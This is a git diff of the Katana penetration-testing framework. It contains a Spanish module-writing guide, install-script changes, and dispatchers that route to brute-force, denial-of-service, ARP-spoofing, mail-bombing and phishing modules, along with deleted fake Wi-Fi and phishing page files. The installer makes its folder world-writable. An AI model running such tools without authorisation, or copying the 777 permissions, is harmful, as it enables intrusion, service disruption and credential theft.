+# INFORMATION MODULE +def initialize(): + initialize.Author ="Anonymous" + initialize.Version ="0.0" + initialize.Despcription ="short Description module." + initialize.CodeName ="category/name" + initialize.DateCreation ="DD/MM/YY" + initialize.LastModification ="DD/MM/YY" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["localhost" , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[80 , "port" , "no" , "Service port"]] #[1][0] +initialize() +# END INFORMATION MODULE ++* para agregar nuestras variables katana se base en matrices duplex para almacenarlas, en el codigo anterior vemos que solo existe una variable `initialize.DEFAULT_VARIABLE` en las cuales se almacenan otros datos como el valor, nombre, si es requirido y una breve descripcion. +
+ initialize.DEFAULT_VARIABLE +=[["xss.js" , "payload" , "yes" , "Payloads list"]] #[2][0] ++en este caso nuestra variable esta almacenada en la matrix [2][0], cuando necesitemos esta variable en alguna parte de nuestro modulo la invocariamos de la siquiente manera `initialize.DEFAULT_VARIABLE[2][0]`. +
+# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION ++
+ # CODE MODULE ############################################################################################ + try: + red=socket.socket(socket.AF_INET, socket.SOCK_STREAM) + red.connect((initialize.DEFAULT_VARIABLE[0][0], int(initialize.DEFAULT_VARIABLE[1][0]))) + Message.loading_file() + with open(initialize.DEFAULT_VARIABLE[2][0],'r') as passwords: + ,,, + ,,, + exept: + print "My Exceptions" + # END CODE MODULE ############################################################################################ + +getFUNCTION (FUNCIONES) UTILES EN KATANA+getFunction es un archivo que continen variedad de funciones que nos puede ayudar en la construcion de nuestros modulos. + ++ getFunction.live(host, port) + esta funcion hace un ASK a un host en la red para verificar si esta a la escucha, si esta el host a la escucha retorna un TRUE en caso contrario FALSE. + + getFunction.myip() + Retorna la IP local del sistema si esta conectado a una red de lo contrario retorna `NULL`. + + getFunction.get_external_ip() + Retorna la IP publica del sistema si esta conectado a una red de lo contrario retorna `NULL`. + + getFunction.interfaces() + Retorna las interfaces actuales del sistema. + + getFunction.checkDevice(device) + Retorna True o False segun la existencia de un dispositivo(Adaptador de red) en el sistema. + + getFunction.status_cmd(command,tabulations) + Ejecuta un commando en el sistama, Retorna Mensaje [OK] o [ERROR] al ejecutar un comando, se agrega la cantidad de tabulaciones que se desea para tener un contexto visualmente agradable. {getFunction.status_cmd('airmon-ng start '+initialize.DEFAULT_VARIABLE[2][0]),"\t\t\t\t")} + + getFunction.get_gateway() + Retorna el gateway actual del sistema. + + getFunction.conneted() + Retorna True o False si el equipo esta conectado a una red. + + getFunction.my_mac_address() + Retorna Mac address del dispositivo actual. ++Ejemplos: ++ if getFunction.checkDevice(initialize.DEFAULT_VARIABLE[2][0]): + print " Continue..." + + if getFunction.live(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[1][0]): + print " Continue..." ++Design (Diseno) y Alertas EN KATANA+katana framework cuenta con un sistemas de alertas predeterminadas para la construcion de modulos. ++ [ERR] : Alerta de Error + [INF] : Alerta de Informacion + [RUN] : Alerta de Ejecutandose + [SUF] : Alerta de Ejecutado correctamente + [HLP] : Alerta de ayuda + [-->] : Alerta de Direccionamiento + [WAR] : Alerta de Precaucion ++katana tambien cuenta con un sistema de mensajes predeterminados para la construcion de modulos. ++ Message.loading_file() : Muestra el Mensaje ` [WAR] Loading files...`. + Message.loaded() : Muestra el Mensaje ` [SUF] Loaded file...`. ++
+ Ultima Actualicacion 01/04/2016 por RedToor. + Visita https://github.com/redtoor/katana/ para mas informacion y actualizaciones. diff --git a/doc/how to install b/doc/how to install index 386065d..f8570e5 100644 --- a/doc/how to install +++ b/doc/how to install @@ -2,7 +2,7 @@ How To Install KTF? 1) Download last version project of github/sourceforge. 2) Go to folder project. -3) execute install.py file as root. +3) execute install file as root. Sequence commands: @@ -10,11 +10,11 @@ Option 1 (Github) #git clone https://github.com/redtoor/katana #cd katana -#sudo python install.py +#sudo python install Option 2 (Sourceforge) #download last version in http://sourceforge.net/projects/katanas/files/ #unzip katana(last version).zip #cd katana(last version) -#sudo python install.py +#sudo python install diff --git a/doc/how to make a new design for katana b/doc/how to make a new design for katana deleted file mode 100644 index e69de29..0000000 diff --git a/doc/how to make a new module b/doc/how to make a new module deleted file mode 100644 index e69de29..0000000 diff --git a/doc/how to use katana b/doc/how to use katana deleted file mode 100644 index d19ffa4..0000000 --- a/doc/how to use katana +++ /dev/null @@ -1,64 +0,0 @@ -How to ? - -is framework is oriented to penetration test or developing to systems. - -katana have 4 main files (ktf.console.py - ktf.run.py - ktf.linker.py - ktf.lab.py) each is for -a function specify. - -General Commands: - - update or u update ktf - show modules or showm show modules installed - use choise a module - show options or sop show options of module - set set up a parameter - run or r starts module - back or b backing - exit or e exit - clear clear screen - - -#ktf.console - - is file contain a menu of all modules installed, you can surf among them using General commands. - -#ktf.linker: - - for run modules with parameter diretly. - - python ktf.linker.py -m category/module -h <> Show parameter enables for that module - python ktf.linker.py -m category/module -t PARAMETER <> the module is launch with parameter - - EXAMPLES; - - ./python ktf.linker.py -m web/whois -h - - OUTPUT------------------------------------------------- - python ktf.linker -m web/whois -t target.com -p 80 - - -t [target] IP or DNS target - -p [port] Port target - ------------------------------------------------------- - - ./python ktf.linker.py -m web/whois -t google.com -p 80 - - OUTPUT------------------------------------------------- - Module working... - ------------------------------------------------------- - -#ktf.run - - for run module diretly with ktf.run.py file - if you want use a module without surf much -.-! you can use it - - python ktf.run.py -m category/module - - EXAMPLES; - - ./python ktf.run.py -m web/whois - ./python ktf.run.py -m net/lanlive - ./python ktf.run.py -m mc/i - - - - diff --git a/files/facebrok.tar b/files/facebrok.tar deleted file mode 100644 index 12ea32c..0000000 Binary files a/files/facebrok.tar and /dev/null differ diff --git a/files/exiftool.tar b/files/filesKatana.tar similarity index 56% rename from files/exiftool.tar rename to files/filesKatana.tar index 6c2bf2d..3fe2bb9 100644 Binary files a/files/exiftool.tar and b/files/filesKatana.tar differ diff --git a/files/getdatareport.tar b/files/getdatareport.tar deleted file mode 100644 index 5b9d7d1..0000000 Binary files a/files/getdatareport.tar and /dev/null differ diff --git a/files/hackerwifipwd/index.php b/files/hackerwifipwd/index.php deleted file mode 100644 index a664d9a..0000000 --- a/files/hackerwifipwd/index.php +++ /dev/null @@ -1,12 +0,0 @@ - - -I am watching you. - - -- - diff --git a/files/hackerwifipwd/lighttpd.cfg b/files/hackerwifipwd/lighttpd.cfg deleted file mode 100644 index 78e2e35..0000000 --- a/files/hackerwifipwd/lighttpd.cfg +++ /dev/null @@ -1,9 +0,0 @@ -server.modules = ("mod_access","mod_accesslog","mod_rewrite","mod_redirect") -index-file.names = ( "index.html") -mimetype.assign = (".html" => "text/html") -url.rewrite-once = ("^/(.*)$" => "/index.html") -url.redirect = ("^/$" => "/index.html") -server.errorlog = "lighttpd.log" -server.document-root = "/" -server.pid-file = "/lighttpd.pid" -accesslog.filename = "/lighttpd.log" diff --git a/files/hulk.tar b/files/hulk.tar deleted file mode 100644 index 9df6499..0000000 Binary files a/files/hulk.tar and /dev/null differ diff --git a/files/tmtSMTP/updateaccount.template b/files/tmtSMTP/updateaccount.template deleted file mode 100644 index 0a14a3c..0000000 --- a/files/tmtSMTP/updateaccount.template +++ /dev/null @@ -1,3 +0,0 @@ - -
- -- I am watching you.
-TEST
- diff --git a/install.py b/install similarity index 67% rename from install.py rename to install index 4e4d76f..8ff924d 100644 --- a/install.py +++ b/install @@ -7,25 +7,14 @@ # Email : redtoor[at]inbox.ru # Project In Github : https://github.com/redtoor/katana # -# ------- Katana Installation Script. -------- -# -# Description File: The file Script Make a Folder in (usr/share) named katana -# for install katana framework, copy all file to the folder -# and make shortcups for fast access and after give privileges -# a All files of project. -# -# you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. @ LICENSE # from core.Setting import * from core import info from core import colors -from core import ping -import os +from core import getFunction import time +import os print "" print " "+colors.B+",:"+colors.W+" "+colors.B+":,"+colors.W+" "# ,: :, @@ -39,7 +28,7 @@ print " "+colors.B+"\\"+colors.W+"___TTTTT___"+colors.B+"/"+colors.W+" CODE: KATANA "# \___TTTTT___/ print " ::::\ "+colors.R+"|"+colors.W+"_____"+colors.R+"|"+colors.W+" /:::: DATE: "+info.date+""# ::::\ "+colors.R+"|"+colors.W+"_____"+colors.R+"|"+colors.W+" /:::: print " (+ _"+colors.R+"|"+colors.W+" __"+colors.R+"|"+colors.W+"__ "+colors.R+"|"+colors.W+"_ +) CORE: "+info.version+", BUILD: "+info.build # (+ _"+colors.R+"|"+colors.W+" __"+colors.R+"|"+colors.W+"__ "+colors.R+"|"+colors.W+"_ +) -print " "+colors.R+"|"+colors.W+" I_"+colors.R+"|"+colors.W+"KATANA."+colors.R+"|"+colors.W+"_I "+colors.R+"|"+colors.W+" "# "+colors.R+"|"+colors.W+" I_"+colors.R+"|"+colors.W+".ANATAK"+colors.R+"|"+colors.W+"_I "+colors.R+"|"+colors.W+" +print " "+info.Type+" "+colors.R+"|"+colors.W+" I_"+colors.R+"|"+colors.W+"KATANA."+colors.R+"|"+colors.W+"_I "+colors.R+"|"+colors.W+" "# "+colors.R+"|"+colors.W+" I_"+colors.R+"|"+colors.W+".ANATAK"+colors.R+"|"+colors.W+"_I "+colors.R+"|"+colors.W+" print " "+colors.R+"|"+colors.W+" I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" "# "+colors.R+"|"+colors.W+" I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" print " __________?_________________________________ "# __________?_________________________________ print " {_"+colors.C+"B|"+colors.W+" "+colors.C+"Y|"+colors.W+" "+colors.R+"R|"+colors.W+" "+colors.W+"T|"+colors.W+" I"+colors.GR+"#################################"+colors.W+"/ "# {_"+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" I#################################/ @@ -56,24 +45,18 @@ time.sleep(1) Shortcuts=""" -ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.console /usr/bin/ktf.console ; -ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.linker /usr/bin/ktf.linker ; -ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.update /usr/bin/ktf.update ; -ln -f -r -s /usr/share/katana/core/ShortCuts/ktf.run /usr/bin/ktf.run ; +ln -f -r -s /usr/share/katana/core/shorts/ktf.console /usr/bin/ktf.console ; +ln -f -r -s /usr/share/katana/core/shorts/ktf.linker /usr/bin/ktf.linker ; +ln -f -r -s /usr/share/katana/core/shorts/ktf.update /usr/bin/ktf.update ; +ln -f -r -s /usr/share/katana/core/shorts/ktf.run /usr/bin/ktf.run ; """ - -Files=""" -cd /usr/share/katana/files;tar -xf /usr/share/katana/files/exiftool.tar >/dev/null 2>&1; -cd /usr/share/katana/files;tar -xf /usr/share/katana/files/facebrok.tar >/dev/null 2>&1; -cd /usr/share/katana/files;tar -xf /usr/share/katana/files/getdatareport.tar >/dev/null 2>&1; -cd /usr/share/katana/files;tar -xf /usr/share/katana/files/hulk.tar >/dev/null 2>&1;rm -R *.tar -""" +Files="cd /usr/share/katana/files;tar -xf /usr/share/katana/files/filesKatana.tar >/dev/null 2>&1;rm -R *.tar" print colors.W+" \033[1m\033[41mKatana framework\033[49m date {"+time.strftime('%c')+"}" -print colors.W+"\n Creating Folder. ", ping.status_cmd('mkdir -p '+PATCH_INTALL+'katana', "\t\t\t\t\t\t") -print " Coping files. ", ping.status_cmd('cp -r * '+PATCH_INTALL+'katana', "\t\t\t\t\t\t") -print " Creating Shortcuts. ", ping.status_cmd(Shortcuts, "\t\t\t\t\t\t") -print " Extracting Files. ", ping.status_cmd(Files, "\t\t\t\t\t\t") -print " Giving privileges. ", ping.status_cmd('chmod -R -c 777 /usr/share/katana/',"\t\t\t\t\t\t") +print colors.W+"\n Creating Folder. ", getFunction.status_cmd('mkdir -p '+PATCH_INTALL+'katana', "\t\t\t\t\t\t") +print " Coping files. ", getFunction.status_cmd('cp -r * '+PATCH_INTALL+'katana', "\t\t\t\t\t\t") +print " Creating Shortcuts. ", getFunction.status_cmd(Shortcuts, "\t\t\t\t\t\t") +print " Extracting Files. ", getFunction.status_cmd(Files, "\t\t\t\t\t\t") +print " Giving privileges. ", getFunction.status_cmd('chmod -R -c 777 /usr/share/katana/',"\t\t\t\t\t\t") print "\n Done, Enjoy. !!!\n" diff --git a/ktf.console b/ktf.console new file mode 100644 index 0000000..2432b5b --- /dev/null +++ b/ktf.console @@ -0,0 +1,56 @@ +#!/usr/bin/env python +#HEADER####################### +# Katana framework # +# ktf.console File # +# Last Modified: 27/03/2016 # +# Review: 0 # +#######################HEADER# + +from core.GeneralCommands import * +from core.design import * +from core import getFunction +from core import colors +from core import splash +from core import Errors +from core import help +import xml.etree.ElementTree as ET +import subprocess +import importlib +import sys + +Desing=DESIGN() +tree = ET.parse('core/modules.xml') +root = tree.getroot() + +def katanaFrameworkConsole(): + try: + action = raw_input(Desing.MainPrompt()) + if getFunction.KatanaCheckActionShowModules(action): + print """ + ,--.-, + /BY/ / """+colors.GR+""" Module Description """+colors.W + for modules in root.findall('module'): + name = modules.get('name') + description = modules.find('description').text + Desing.Line(CodeName=name,Description=description) + print """ /RT/, / + `--`-' \n""" + katanaFrameworkConsole() + + if getFunction.KatanaCheckActionUseModule(action): + for modules in root.findall('module'): + if action[len(SELECT)+1:] == modules.get('name'): + category = modules.find('category').text + filename = modules.find('filename').text + ModuleToStart = importlib.import_module("scripts."+category+"."+filename) + ModuleToStart.main(True) + katanaFrameworkConsole() + katanaFrameworkConsole() + else: + getFunction.KatanaCheckActionGlobalCommands(action) + katanaFrameworkConsole() + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + +if __name__=="__main__": + katanaFrameworkConsole() diff --git a/ktf.console.py b/ktf.console.py deleted file mode 100644 index 1b885db..0000000 --- a/ktf.console.py +++ /dev/null @@ -1,150 +0,0 @@ -#!/usr/bin/env python -### Katana Framework -### you can redistribute it and/or modify -### it under the terms of the GNU General Public License as published by -### the Free Software Foundation, either version 3 of the License, or -### (at your option) any later version. - -from scripts import * -from core import info -from core import help -from core import colors -from core import updatekatana -from core import splash -from core import Errors -import xml.etree.ElementTree as ET -import sys - -tree = ET.parse('core/modules.xml') -root = tree.getroot() - -def Line(module, description): - print colors.W+""" |"""+colors.R+"""=="""+colors.W+"""|::| """+module+"\t\t"+description - -def katanaFrameworkMainFunction(): - try: - action = raw_input(colors.GR+" KTF>"+colors.W) - if action == "show modules" or action == "showm": - print """ - ,--.-, - /BY/ / """+colors.GR+""" Module Description """+colors.W+""" - """+colors.W+"""|"""+colors.R+"""=="""+colors.W+"""|::| web/httpbt"""+colors.W+"""\t\tBrute force to HTTP 401"""+colors.W - for module in root.findall('module'): - name = module.get('name') - description = module.find('description').text - Line(name,description) - print """ /RT/, / - `--`-' \n""" - katanaFrameworkMainFunction() - - elif action[0:3] == "use": - # WEB : Web Tools - if action[4:14] == "web/httpbt": - BruteForceHTTP.httpbt(0) - if action[4:16] == "web/cpfinder": - AdminFinder.adminfinder(0) - if action[4:16] == "web/formbt": - BruteForceFormBase.httpformbasebruteforce(0) - if action[4:17] == "web/joomscan": - Joomscan.xjoomla(0) - if action[4:11] == "web/dos": - dosweb.dosweb(0) - if action[4:13] == "web/whois": - Whois.wuis(0) - if action[4:15] == "web/lfd-con": - LFDconsole.LFDconsole(0) - # NET : Networks Tools - if action[4:16] == "net/arplook": - ARPLooking.arplook(0) - if action[4:15] == "net/lanlive": - LANScanner.hostl(0) - if action[4:16] == "net/arpspoof": - ARPPoisoning.arpp(0) - if action[4:16] == "net/portscan": - PortScanner.PortScanner(0) - # SET : Social Enginnering tools - if action[4:17] == "set/gdreport": - GetDataReport.getdatareport(0) - if action[4:16] == "set/mailboom": - smtpBombing.smtpbombing(0) - if action[4:16] == "set/facebrok": - facebrok.facebrok(0) - # FLE : Files Tools - if action[4:17] == "fle/brutezip": - BruteZIP.btzip(0) - if action[4:17] == "fle/bruterar": - BruteRAR.btrar(0) - # CLT : Clients Console Tools - if action[4:11] == "clt/ftp": - ClientFTP.cftp(0) - if action[4:12] == "clt/pop3": - ClientPOP3.cpop3(0) - if action[4:11] == "clt/sql": - ClientMYSQL.cmysql(0) - # FBT : Force Brute Tools - if action[4:11] == "fbt/ftp": - BruteForceFTP.btftp(0) - if action[4:11] == "fbt/ssh": - BruteForceSSH.btssh(0) - if action[4:11] == "fbt/sql": - BruteForceSQL.btsql(0) - if action[4:12] == "fbt/pop3": - BruteForcePOP3.btpop3(0) - # SER : Services Tools - if action[4:14] == "ser/sql": - services.services('mysql') - if action[4:14] == "ser/ssh": - services.services('ssh') - if action[4:18] == "ser/apache": - services.services('apache2') - # WIFI : Wifi Tools - if action[4:15] == "wifi/wpabtf": - WpaBTF.wpabtf(0) - if action[4:12] == "wifi/dos": - Wifi_DDOS.ddos(0) - # MC : MICCESELANIUS - if action[4:13] == "mc/tlogin": - TLogin.tlogin(0) - if action[4:13] == "mc/gendic": - GenDic.Gendic(0) - if action[4:8] == "mc/i": - Iandl.iandi() - # FZZ : Fuzzing Tools - if action[4:11] == "fzz/ftp": - FuzzerFTP.fftp() - # FOR : Forence Tools - if action[4:13] == "for/image": - forenseIMAGE.exiftool(0) - exit() - else: - katanaFrameworkMainFunction() - elif action == "exit" or action == "x": - exit() - elif action == "help" or action == "h": - help.help() - katanaFrameworkMainFunction() - elif action == "update" or action == "u": - updatekatana.update() - elif action == "clear" or action == "c": - subprocess.call('clear', shell=True) - katanaFrameworkMainFunction() - else: - print " ["+colors.R+"!"+colors.W+"] Invalid parameter use show 'help' for more information"+colors.W - katanaFrameworkMainFunction() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - -print """ - .-.--. - \ \==\ - /- /==/ """+colors.GR+""" Katana Framework """+colors.W+""" - /' /==/ """+colors.B+""" Core """+colors.W+""" = """+info.version+""", Build: """+info.build+""" - |,|==| """+colors.B+""" Date """+colors.W+""" = """+info.date+""" - \ \==\ """+colors.B+""" Theme """+colors.W+""" = """+info.tema+""" - \ ,\==\ """+colors.B+""" Modules """+colors.W+""" = """""+info.modules+""" Scritp's"""+colors.W+""" - / -/==/ """+colors.W+""" By RedToor"""+colors.W+""" - `-'--' - """ - -if __name__=="__main__": - katanaFrameworkMainFunction() diff --git a/ktf.linker b/ktf.linker new file mode 100644 index 0000000..95db1de --- /dev/null +++ b/ktf.linker @@ -0,0 +1,57 @@ +#!/usr/bin/env python +#HEADER####################### +# Katana framework # +# ktf.linker File # +# Last Modified: 31/03/2016 # +# Review: 0 # +#######################HEADER# + +from scripts.web import whois +from core.design import * +from core import info +import argparse +CLASS_LINKER=DESIGN() + +if __name__=="__main__": + CLASS_LINKER.linker(info.version, info.build) + parser = argparse.ArgumentParser(description='ktf.linker:'+info.version+info.build) + parser.add_argument("-m", "--module", help="Module") + parser.add_argument("-t", "--target", help="Target") + parser.add_argument("-p", "--port", help="Port") + parser.add_argument("-f", "--file", help="File") + parser.add_argument("-u", "--user", help="Username") + parser.add_argument("-ps","--password", help="Password") + parser.add_argument("-x", "--userb", help="Usernameb") + parser.add_argument("-z", "--passwordb", help="Passwordb") + parser.add_argument("-d", "--dictionary", help="Dictionary") + parser.add_argument("-c", "--condition", help="Condition") + parser.add_argument("-i", "--interface", help="interface") + parser.add_argument("-v", "--valueform", help="Form Input") + parser.add_argument("-o", "--output", help="output") + parser.add_argument("-g", "--gateway", help="Gateway") + parser.add_argument("-l", "--length", help="Length") + parser.add_argument("-q", "--query", help="Query") + args = parser.parse_args() + if args.module == "web/whois": whois.run(target=args.target, port=args.port) + elif args.module == "web/joomscan": Joomscan.run(target=args.target, port=args.port) + elif args.module == "web/cpfinder": AdminFinder.run(target=args.target, port=args.port, dictionary=args.file) + elif args.module == "web/formbt": BruteForceFormBase.run(target=args.target, port=args.port, patch=args.file, para1=args.userb, valor=args.valueform, para2=args.passwordb, dictionary=args.dictionary, method=args.query, condition=args.condition) + elif args.module == "web/httpbt": BruteForceHTTP.run(target=args.target, port=args.port, patch=args.file, username=args.user, dictionary=args.dictionary) + elif args.module == "web/dos": dosweb.run(target=args.target, port=args.port) + elif args.module == "web/lfd-con": LFDconsole.run(target=args.target, files=args.file, port=args.port) + elif args.module == "net/lanlive": LANScanner.run(nets=args.target, types="null") + elif args.module == "net/portscan": PortScanner.run(target=args.target, types=args.port) + elif args.module == "net/arpspoof": ARPPoisoning.run(target=args.target, source=args.gateway, interface=args.interface) + elif args.module == "set/facebrok": facebrok.run(username=args.user,password=args.ports,database="facebrok_db",userp=args.userb,passp=args.passwordb) + elif args.module == "set/gdreport": GetDataReport.run(target=args.target, js=args.query) + elif args.module == "clt/ftp": ClientFTP.run(target=args.target,port=args.port,username=args.user,password=args.ports) + elif args.module == "clt/sql": ClientMYSQL.run(target=args.target,port=args.port,username=args.user,password=args.ports) + elif args.module == "clt/pop": ClientPOP3.run(target=args.target,port=args.port,username=args.user,password=args.ports) + elif args.module == "fbt/sql": BruteForceSQL.run(target=args.target,port=args.port,username=args.user,dictionary=args.dictionary) + elif args.module == "fbt/ssh": BruteForceSSH.run(target=args.target,port=args.port,username=args.user,dictionary=args.dictionary) + elif args.module == "fbt/ftp": BruteForceFTP.run(target=args.target, port=args.port, username=args.user, dictionary=args.dictionary) + elif args.module == "fbt/pop3": BruteForcePOP3.run(target=args.target, port=args.port, username=args.user, dictionary=args.dictionary) + elif args.module == "fle/bruterar": BruteRAR.run(files=args.file ,dictionary=args.dictionary) + elif args.module == "fle/brutezip": BruteZIP.run(files=args.file ,dictionary=args.dictionary) + elif args.module == "wifi/dos": Wifi_DDOS.run(interface=args.interface, bssid=args.userb, channel=args.condition) + elif args.module == "mc/gendic": GenDic.run(dictionary=args.output, length=args.length, types=args.target) \ No newline at end of file diff --git a/ktf.linker.py b/ktf.linker.py deleted file mode 100644 index fe9b1f9..0000000 --- a/ktf.linker.py +++ /dev/null @@ -1,76 +0,0 @@ -#!/usr/bin/env python -### Katana Framework Linker -### you can redistribute it and/or modify -### it under the terms of the GNU General Public License as published by -### the Free Software Foundation, either version 3 of the License, or -### (at your option) any later version. - -from core.Setting import * -from core.design import * -from scripts import * -from core import info -import argparse - -CLASS_LINKER=DESIGN() - -if __name__=="__main__": - parser = argparse.ArgumentParser(description='ktf.linker:'+info.version+info.build) - parser.add_argument("-m", "--module", help="Module") - parser.add_argument("-t", "--target", help="Target") - parser.add_argument("-p", "--port", help="Port") - parser.add_argument("-f", "--file", help="File") - parser.add_argument("-u", "--user", help="Username") - parser.add_argument("-ps","--password", help="Password") - parser.add_argument("-x", "--userb", help="Usernameb") - parser.add_argument("-z", "--passwordb", help="Passwordb") - parser.add_argument("-d", "--dictionary", help="Dictionary") - parser.add_argument("-c", "--condition", help="Condition") - parser.add_argument("-i", "--interface", help="interface") - parser.add_argument("-v", "--valueform", help="Form Input") - parser.add_argument("-o", "--output", help="output") - parser.add_argument("-g", "--gateway", help="Gateway") - parser.add_argument("-l", "--length", help="Length") - parser.add_argument("-q", "--query", help="Query") - args = parser.parse_args() - t=args.target - p=args.port - f=args.file - u=args.user - ps=args.password - m=args.module - d=args.dictionary - c=args.condition - z=args.passwordb - x=args.userb - i=args.interface - v=args.valueform - o=args.output - g=args.gateway - l=args.length - q=args.query - -CLASS_LINKER.linker(info.version, info.build) -if m == "web/whois": Whois.run(target=t, port=p) -elif m == "web/joomscan": Joomscan.run(target=t, port=p) -elif m == "web/cpfinder": AdminFinder.run(target=t, port=p, dictionary=f) -elif m == "web/formbt": BruteForceFormBase.run(target=t, port=p, patch=f, para1=x, valor=v, para2=z, dictionary=d, method=q, condition=c) -elif m == "web/httpbt": BruteForceHTTP.run(target=t, port=p, patch=f, username=u, dictionary=d) -elif m == "web/dos": dosweb.run(target=t, port=p) -elif m == "web/lfd-con": LFDconsole.run(target=t, files=f, port=p) -elif m == "net/lanlive": LANScanner.run(nets=t, types="null") -elif m == "net/portscan": PortScanner.run(target=t, types=p) -elif m == "net/arpspoof": ARPPoisoning.run(target=t, source=g, interface=i) -elif m == "set/facebrok": facebrok.run(username=u,password=ps,database="facebrok_db",userp=x,passp=z) -elif m == "set/gdreport": GetDataReport.run(target=t, js=q) -elif m == "clt/ftp": ClientFTP.run(target=t,port=p,username=u,password=ps) -elif m == "clt/sql": ClientMYSQL.run(target=t,port=p,username=u,password=ps) -elif m == "clt/pop": ClientPOP3.run(target=t,port=p,username=u,password=ps) -elif m == "fbt/sql": BruteForceSQL.run(target=t,port=p,username=u,dictionary=d) -elif m == "fbt/ssh": BruteForceSSH.run(target=t,port=p,username=u,dictionary=d) -elif m == "fbt/ftp": BruteForceFTP.run(target=t, port=p, username=u, dictionary=d) -elif m == "fbt/pop3": BruteForcePOP3.run(target=t, port=p, username=u, dictionary=d) -elif m == "fle/bruterar": BruteRAR.run(files=f ,dictionary=d) -elif m == "fle/brutezip": BruteZIP.run(files=f ,dictionary=d) -elif m == "mc/tlogin": TLogin.run(target=t, username=u, password=ps) -elif m == "mc/gendic": GenDic.run(dictionary=o, length=l, types=t) - diff --git a/ktf.run b/ktf.run new file mode 100644 index 0000000..3892999 --- /dev/null +++ b/ktf.run @@ -0,0 +1,34 @@ +#!/usr/bin/env python +#HEADER####################### +# Katana framework # +# ktf.console File # +# Last Modified: 25/03/2016 # +# Review: 0 # +#######################HEADER# + +from core.design import * +from core import info +import xml.etree.ElementTree as ET +import importlib +import argparse +import sys + +CLASS_BANNER=DESIGN() +CLASS_BANNER.ktfrun(info.version,info.build) +tree = ET.parse('core/modules.xml') +root = tree.getroot() +parser = argparse.ArgumentParser() +parser.add_argument("-m", "--module", help=" Script module to run.") +args = parser.parse_args() +m=args.module + +if __name__=="__main__": + CLASS_BANNER.KtfRun() + for modules in root.findall('module'): + if m == modules.get('name'): + category = modules.find('category').text + filename = modules.find('filename').text + ModuleToStart = importlib.import_module("scripts."+category+"."+filename) + ModuleToStart.main(True) + exit() + CLASS_BANNER.ModuleNotFound(m) \ No newline at end of file diff --git a/ktf.run.py b/ktf.run.py deleted file mode 100644 index e4f56d7..0000000 --- a/ktf.run.py +++ /dev/null @@ -1,57 +0,0 @@ -#!/usr/bin/env python -### Katana Framework Runner -### you can redistribute it and/or modify -### it under the terms of the GNU General Public License as published by -### the Free Software Foundation, either version 3 of the License, or -### (at your option) any later version. - -from core.design import * -from scripts import * -from core import colors -from core import info -import argparse -import time -import sys - -CLASS_BANNER=DESIGN() -CLASS_BANNER.ktfrun(info.version,info.build) - -parser = argparse.ArgumentParser() -parser.add_argument("-m", "--module", help=" Script module to run.") -args = parser.parse_args() -m=args.module - -if __name__=="__main__": - print " ktf.run | "+time.strftime('%c') - if m == "web/httpbt": BruteForceHTTP.httpbt(0) - if m == "web/cpfinder": AdminFinder.adminfinder(0) - if m == "web/formbt": BruteForceFormBase.httpformbasebruteforce(0) - if m == "web/joomscan": Joomscan.xjoomla(0) - if m == "web/whois": Whois.wuis(0) - if m == "web/lfd-con": LFDconsole.LFDconsole(0) - if m == "net/arplook": ARPLooking.arplook(0) - if m == "net/lanlive": LANScanner.hostl(0) - if m == "net/arpspoof": ARPPoisoning.arpp(0) - if m == "net/portscan": PortScanner.PortScanner(0) - if m == "set/gdreport": GetDataReport.getdatareport(0) - if m == "set/facebrok": facebrok.facebrok(0) - if m == "set/mailboom": smtpBombing.smtpbombing(0) - if m == "fle/brutezip": BruteZIP.btzip(0) - if m == "fle/bruterar": BruteRAR.btrar(0) - if m == "fbt/ssh": BruteForceSSH.btssh(0) - if m == "fbt/sql": BruteForceSQL.btsql(0) - if m == "fbt/pop3": BruteForcePOP3.btpop3(0) - if m == "fbt/ftp": BruteForceFTP.btftp(0) - if m == "clt/ftp": ClientFTP.cftp(0) - if m == "clt/sql": ClientMYSQL.cmysql(0) - if m == "clt/pop3": ClientPOP3.cpop3(0) - if m == "mc/tlogin": TLogin.tlogin(0) - if m == "fzz/ftp": FuzzerFTP.fftp(0) - if m == "ser/sql": services.services('mysql') - if m == "ser/ssh": services.services('ssh') - if m == "ser/apache": services.services('apache2') - if m == "wifi/wpabtf": WpaBTF.btwpa(0) - if m == "wifi/dos": Wifi_DDOS.ddos(0) - if m == "mc/gendic": GenDic.Gendic(0) - if m == "mc/i": Iandl.iandi() - if m == "for/imagen": forenseIMAGE.exiftool(0) diff --git a/ktf.tool.building b/ktf.tool.building new file mode 100644 index 0000000..cf529d7 --- /dev/null +++ b/ktf.tool.building @@ -0,0 +1,2 @@ +#!/usr/bin/env python + diff --git 